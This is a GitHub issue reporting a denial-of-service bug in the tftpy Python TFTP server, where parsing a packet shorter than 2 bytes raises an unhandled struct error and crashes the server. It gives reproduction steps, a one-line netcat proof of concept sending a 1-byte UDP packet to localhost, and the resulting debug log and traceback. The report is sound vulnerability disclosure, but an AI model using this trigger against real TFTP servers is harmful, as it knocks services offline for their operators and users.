Skip to content

DoS when parsing a packet with a length less than 2 #140

@grandnew

Description

@grandnew

There is a Denied-of-Service bug in the parse function in the TftpPacketFactory class on the parse of a packet with a length less than 2.

Reproduce

1. Prepare

cp bin/tftpy_server.py .

Initialize server directory:

mkdir server_dir 

2. Start the Server

python3 tftpy_server.py -r ./server_dir -d

3. Attack

Send a UDP packet with 1-byte payload:

echo -n "A" | nc -u 127.0.0.1 69

Then, the server will crash and the logs are as follows:

[2023-10-21 17:16:52,599599] DEBUG [tftpy.TftpServer:63] tftproot /root/stack/tftpy/server_dir does exist
[2023-10-21 17:16:52,599599] DEBUG [tftpy.TftpServer:67] tftproot /root/stack/tftpy/server_dir is a directory
[2023-10-21 17:16:52,599599] DEBUG [tftpy.TftpServer:69] tftproot /root/stack/tftpy/server_dir is readable
[2023-10-21 17:16:52,599599] DEBUG [tftpy.TftpServer:73] tftproot /root/stack/tftpy/server_dir is writable
[2023-10-21 17:16:52,599599] INFO [tftpy.TftpServer:95] Server requested on ip 0.0.0.0, port 69
[2023-10-21 17:16:52,599599] INFO [tftpy.TftpServer:107] Starting receive loop...
[2023-10-21 17:16:52,599599] DEBUG [tftpy.TftpServer:109] shutdown_immediately is False
[2023-10-21 17:16:52,599599] DEBUG [tftpy.TftpServer:110] shutdown_gracefully is False
[2023-10-21 17:16:52,599599] DEBUG [tftpy.TftpServer:134] Performing select on this inputlist: [<socket.socket fd=3, family=AddressFamily.AF_INET, type=SocketKind.SOCK_DGRAM, proto=0, laddr=('0.0.0.0', 69)>]
[2023-10-21 17:16:57,605605] DEBUG [tftpy.TftpServer:224] Looping on all sessions to check for timeouts
[2023-10-21 17:16:57,605605] DEBUG [tftpy.TftpServer:241] Iterating deletion list.
[2023-10-21 17:16:57,605605] DEBUG [tftpy.TftpServer:109] shutdown_immediately is False
[2023-10-21 17:16:57,605605] DEBUG [tftpy.TftpServer:110] shutdown_gracefully is False
[2023-10-21 17:16:57,605605] DEBUG [tftpy.TftpServer:134] Performing select on this inputlist: [<socket.socket fd=3, family=AddressFamily.AF_INET, type=SocketKind.SOCK_DGRAM, proto=0, laddr=('0.0.0.0', 69)>]
[2023-10-21 17:17:02,610610] DEBUG [tftpy.TftpServer:224] Looping on all sessions to check for timeouts
[2023-10-21 17:17:02,610610] DEBUG [tftpy.TftpServer:241] Iterating deletion list.
[2023-10-21 17:17:02,610610] DEBUG [tftpy.TftpServer:109] shutdown_immediately is False
[2023-10-21 17:17:02,610610] DEBUG [tftpy.TftpServer:110] shutdown_gracefully is False
[2023-10-21 17:17:02,610610] DEBUG [tftpy.TftpServer:134] Performing select on this inputlist: [<socket.socket fd=3, family=AddressFamily.AF_INET, type=SocketKind.SOCK_DGRAM, proto=0, laddr=('0.0.0.0', 69)>]
[2023-10-21 17:17:07,612612] DEBUG [tftpy.TftpServer:224] Looping on all sessions to check for timeouts
[2023-10-21 17:17:07,613613] DEBUG [tftpy.TftpServer:241] Iterating deletion list.
[2023-10-21 17:17:07,613613] DEBUG [tftpy.TftpServer:109] shutdown_immediately is False
[2023-10-21 17:17:07,613613] DEBUG [tftpy.TftpServer:110] shutdown_gracefully is False
[2023-10-21 17:17:07,613613] DEBUG [tftpy.TftpServer:134] Performing select on this inputlist: [<socket.socket fd=3, family=AddressFamily.AF_INET, type=SocketKind.SOCK_DGRAM, proto=0, laddr=('0.0.0.0', 69)>]
[2023-10-21 17:17:12,311311] DEBUG [tftpy.TftpServer:153] Data ready on our main socket
[2023-10-21 17:17:12,311311] DEBUG [tftpy.TftpServer:156] Read 1 bytes
[2023-10-21 17:17:12,311311] DEBUG [tftpy.TftpServer:169] Creating new server context for session key = 127.0.0.1:40237
[2023-10-21 17:17:12,312312] DEBUG [tftpy.TftpContext:259] In TftpContextServer.start
[2023-10-21 17:17:12,312312] DEBUG [tftpy.TftpContext:261] Set metrics.start_time to 1697879832.312877
[2023-10-21 17:17:12,312312] DEBUG [tftpy.TftpPacketFactory:34] parsing a 1 byte packet
Traceback (most recent call last):
  File "tftpy_server.py", line 87, in <module>
    main()
  File "tftpy_server.py", line 78, in main
    server.listen(options.ip, options.port)
  File "/root/stack/tftpy/tftpy/TftpServer.py", line 182, in listen
    self.sessions[key].start(buffer)
  File "/root/stack/tftpy/tftpy/TftpContexts.py", line 265, in start
    pkt = self.factory.parse(buffer)
  File "/root/stack/tftpy/tftpy/TftpPacketFactory.py", line 35, in parse
    (opcode,) = struct.unpack("!H", buffer[:2])
struct.error: unpack requires a buffer of 2 bytes
[2023-10-21 17:17:12,370370] DEBUG [tftpy.TftpContext:147] in TftpContext.end - closing socket
[2023-10-21 17:17:12,370370] DEBUG [tftpy.TftpContext:276] Set metrics.end_time to 1697879832.370152
[2023-10-21 17:17:12,370370] DEBUG [tftpy.TftpContext:277] Detected dups in transfer: 0
[2023-10-21 17:17:12,370370] DEBUG [tftpy.TftpContext:58] TftpMetrics.compute: duration is 0.05727505683898926
[2023-10-21 17:17:12,370370] DEBUG [tftpy.TftpContext:61] TftpMetrics.compute: kbps is 0.0

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions